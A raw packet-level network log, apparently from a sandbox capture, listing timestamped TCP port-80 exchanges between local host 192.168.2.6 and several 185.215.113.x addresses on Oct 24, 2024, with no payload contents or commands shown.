Oct 24, 2024 18:08:24.110924006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110956907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110990047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110996008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111022949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111054897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111062050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111088991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111090899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111120939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111154079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111159086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111186981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111219883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111227036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111253023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111285925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111325026 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111341000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111376047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111407995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111414909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111440897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111442089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111474037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111506939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111514091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111538887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111572027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111603975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111612082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111638069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111639023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111671925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111706972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111710072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111740112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111773968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111807108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111813068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111840963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111874104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111881018 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111912966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111913919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.111948967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111982107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.111988068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112015009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112049103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112052917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112081051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112113953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112147093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112152100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112179995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112212896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112217903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112246037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112246990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112277985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112314939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112315893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112348080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112381935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112402916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112415075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112448931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112473011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112483978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112517118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112529039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.112550974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112585068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.112590075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.128230095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128285885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.128287077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128340960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128376007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128384113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.128410101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128443956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128477097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128485918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.128509998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.128546953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129090071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129137039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129215002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129250050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129303932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129328966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129337072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129369020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129370928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129404068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129436970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129460096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129466057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129501104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129506111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129534960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129615068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129749060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129827023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129878998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129911900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129920959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.129945993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129978895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.129993916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130012989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130012989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130045891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130079985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130085945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130250931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130300999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130373001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130436897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130470991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130482912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130503893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130554914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130588055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130594969 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130621910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130654097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130662918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130696058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130706072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130743980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130796909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130804062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130831003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130866051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130867958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130918980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130953074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.130966902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.130986929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131021976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131055117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131062984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.131088972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131118059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.131122112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131156921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131189108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131197929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.131222010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131263018 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.131254911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131306887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131335020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.131355047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131386995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131402016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.131422997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131462097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.131483078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.173368931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173408985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173435926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.173444986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173667908 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.173712015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173746109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173801899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173823118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.173835993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173871040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173908949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.173923016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.173958063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174001932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.174007893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174041986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174051046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.174076080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174110889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174114943 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.174144983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174179077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.174213886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.176604986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.176639080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.176672935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.176685095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.176707983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.177659988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178191900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178245068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178287029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178297043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178330898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178365946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178370953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178407907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178442955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178471088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178477049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178503990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178538084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178544998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178570032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178591967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178603888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178632975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178658962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178666115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.178699970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.178708076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.230813026 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.235281944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.236721039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.446508884 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:27.304220915 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:08:27.309655905 CEST	80	49819	185.215.113.37	192.168.2.6
Oct 24, 2024 18:08:27.309731960 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:08:27.310282946 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:08:27.315740108 CEST	80	49819	185.215.113.37	192.168.2.6
Oct 24, 2024 18:08:28.223877907 CEST	80	49819	185.215.113.37	192.168.2.6
Oct 24, 2024 18:08:28.224072933 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:08:28.227346897 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:08:28.233022928 CEST	80	49819	185.215.113.37	192.168.2.6
Oct 24, 2024 18:08:28.515849113 CEST	80	49819	185.215.113.37	192.168.2.6
Oct 24, 2024 18:08:28.515935898 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:08:31.022583008 CEST	49819	80	192.168.2.6	185.215.113.37
Oct 24, 2024 18:09:04.149070024 CEST	49992	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:04.154611111 CEST	80	49992	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:04.155070066 CEST	49992	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:04.155071020 CEST	49992	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:04.160484076 CEST	80	49992	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:05.068207026 CEST	80	49992	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:05.068521023 CEST	49992	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:06.575268984 CEST	49992	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:06.575731039 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:06.581420898 CEST	80	49992	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:06.581635952 CEST	49992	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:06.582015038 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:06.582086086 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:06.582262993 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:06.587932110 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:07.489362955 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:07.489638090 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:07.493886948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:07.499886990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:07.499983072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:07.500088930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:07.505987883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474750996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474776030 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474802017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474817038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474833965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474850893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474845886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474845886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474845886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474879026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474895954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474910975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474926949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.474931002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474931002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474931002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474931002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474931002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474966049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.474966049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.480561018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.480622053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.630503893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.630589962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.630594969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.630629063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.630637884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.630666018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.630671978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.630706072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.630899906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.630939007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.630979061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631012917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631021023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.631057978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.631072044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631109953 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.631706953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631740093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631762028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.631777048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631781101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.631813049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.631814957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.631858110 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.749916077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.749962091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750025034 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750075102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750106096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750138998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750173092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750174046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750174046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750174046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750174046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750205040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750273943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750273943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750566959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750618935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750700951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750736952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.750767946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750767946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750767946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.750859022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.751216888 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.751277924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.751430988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.751461983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.751483917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.751494884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.751506090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.751548052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.787204981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.787261963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.787307978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.787486076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.869601011 CEST	80	49994	185.215.113.16	192.168.2.6
